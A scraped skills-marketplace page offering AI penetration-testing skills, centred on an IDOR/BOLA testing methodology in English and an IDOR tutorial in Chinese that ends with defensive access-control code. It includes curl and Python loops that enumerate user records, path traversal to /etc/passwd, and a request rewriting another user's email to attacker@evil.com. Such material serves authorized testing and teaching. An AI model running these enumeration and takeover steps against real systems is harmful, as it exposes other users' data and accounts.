Menú
IDOR/BOLA testing for object-level authorization failures and cross-account data access
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Basado en la clasificación ocupacional SOC
Authorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
API安全测试的专业技能和方法论
JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
| name | idor-testing |
| description | IDOR/BOLA testing for object-level authorization failures and cross-account data access |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
Scope
Reference Locations
Identifier Forms
{orgId}:{userId})Relationship References
Expansion/Projection Knobs
fields, include, expand, projection, with, select, populateParameter Analysis
page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state)arjun -u <url> (GET) or arjun -u <url> -m POST —
surfaces hidden filters like ?include_deleted=1, ?as_user=…, ?owner_id=…
that frequently widen the IDOR surface.Enumeration Techniques
{"id":123} vs {"id":"123"}, arrays vs scalars, objects vs scalarsid=1&id=2, JSON duplicate keys {"id":1,"id":2} (parser precedence)/files/user_123/../../user_456/report.csvUUID/Opaque ID Sources
export/{jobId}/download, reports/{taskId})query IDOR {
me { id }
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
}
X-User-Id, X-Organization-Id; try overriding or removing themX-Tenant-ID, org slug)user_{id}, org_{id})owner_id, tenant_id) often bypass HTTP-layer middlewareinvoice_id) processed without verifying ownershipParser & Transport
application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-dataX-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changesParameter Pollution
id=123&id=456); try both orderingsCache & Gateway
Race Windows
Blind Channels
If-None-Match/If-Modified-Since) can confirm existence without full contentAuthorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.
IDOR（Insecure Direct Object Reference）是一种访问控制漏洞，当应用程序直接使用用户提供的输入来访问资源，而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
应用程序使用可预测的标识符（如ID、文件名）直接引用资源，未验证当前用户是否有权限访问该资源。
危险代码示例：
// 直接使用用户输入的ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
常见资源类型：
常见位置：
顺序ID测试：
/user?id=1
/user?id=2
/user?id=3
UUID测试：
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
文件名测试：
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
访问其他用户资源：
当前用户ID: 100
测试: /user?id=101
测试: /user?id=102
访问其他用户文件：
/files/user100_document.pdf
测试: /files/user101_document.pdf
普通用户访问管理员资源：
/admin/users?id=1
/admin/settings
/admin/logs
枚举用户资料：
# 顺序枚举
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# 观察响应差异
访问其他用户文件：
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
目录遍历结合：
/files/../admin/config.php
/files/../../etc/passwd
修改其他用户数据：
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "attacker@evil.com"
}
批量获取数据：
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
Base64编码：
原始ID: 123
编码: MTIz
URL: /user?id=MTIz
哈希值：
原始ID: 123
哈希: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
使用不同参数名：
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
尝试不同HTTP方法：
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
尝试不同路径：
/api/v1/user/123
/api/user/123
/user/123
/users/123
使用Intruder：
使用Repeater：
# 使用ZAP进行IDOR扫描
zap-cli active-scan --scanners all http://target.com
import requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))
访问控制验证
def get_user_data(user_id, current_user_id):
# 验证权限
if user_id != current_user_id:
raise PermissionDenied("Cannot access other user's data")
# 返回数据
return db.get_user(user_id)
间接对象引用
# 使用映射表
user_mapping = {
'abc123': 100,
'def456': 101,
'ghi789': 102
}
def get_user(mapped_id):
real_id = user_mapping.get(mapped_id)
if not real_id:
raise NotFound()
return db.get_user(real_id)
基于角色的访问控制
def check_permission(user, resource):
if user.role == 'admin':
return True
if resource.owner_id == user.id:
return True
return False
资源所有权验证
def update_user_data(user_id, data, current_user):
user = db.get_user(user_id)
# 验证所有权
if user.id != current_user.id and current_user.role != 'admin':
raise PermissionDenied()
# 更新数据
db.update_user(user_id, data)
使用不可预测的标识符
import uuid
# 使用UUID替代顺序ID
resource_id = str(uuid.uuid4())
最小权限原则
record_vulnerability when running inside the penkit51 platform